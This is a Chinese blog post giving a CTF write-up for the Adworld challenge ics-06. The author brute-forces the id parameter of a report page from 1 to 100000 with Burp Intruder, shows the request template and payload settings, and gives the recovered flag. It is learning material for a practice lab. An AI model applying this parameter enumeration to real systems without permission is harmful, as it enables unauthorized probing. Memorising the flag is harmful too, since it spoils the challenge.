

攻防世界 ics-06

原创

听门外雪花飞 于 2022-01-22 18:00:32 发布 531 收藏

分类专栏: [ctf刷题纪](#) 文章标签: [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: https://blog.csdn.net/weixin_52268949/article/details/122641091

版权



[ctf刷题纪](#) 专栏收录该内容

40 篇文章 0 订阅

订阅专栏

ics-06

进入题目有点吓人, 不过我都点了一下发现只有报表中心可以进去



进入报表中心在url中发现?id=1,一开始以为是sql注入结果啥也没探测到, 这题脑洞有点, 没有任何提示直接爆破id即可获得flag

details.

Attack type: Sniper

```
GET /index.php?id=${1} HTTP/1.1
Host: 111.200.241.244:55259
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

CSDN @听门外雪花飞 1

Payload set: 1 Payload count: 100,000
Payload type: Numbers Request count: 100,000

? Payload Options [Numbers]

This payload type generates numeric payloads within a given range and in a specified format.

Number range

Type: Sequential Random
From: 1
To: 100000
Step: 1
How many:

CSDN @听门外雪花飞

cyberpeace{4aaa412b4b02f7fd2b12585cfb5a60af}

看了一下当id=2333的时候包的长度比较长，我们看一下返回包就发现了flag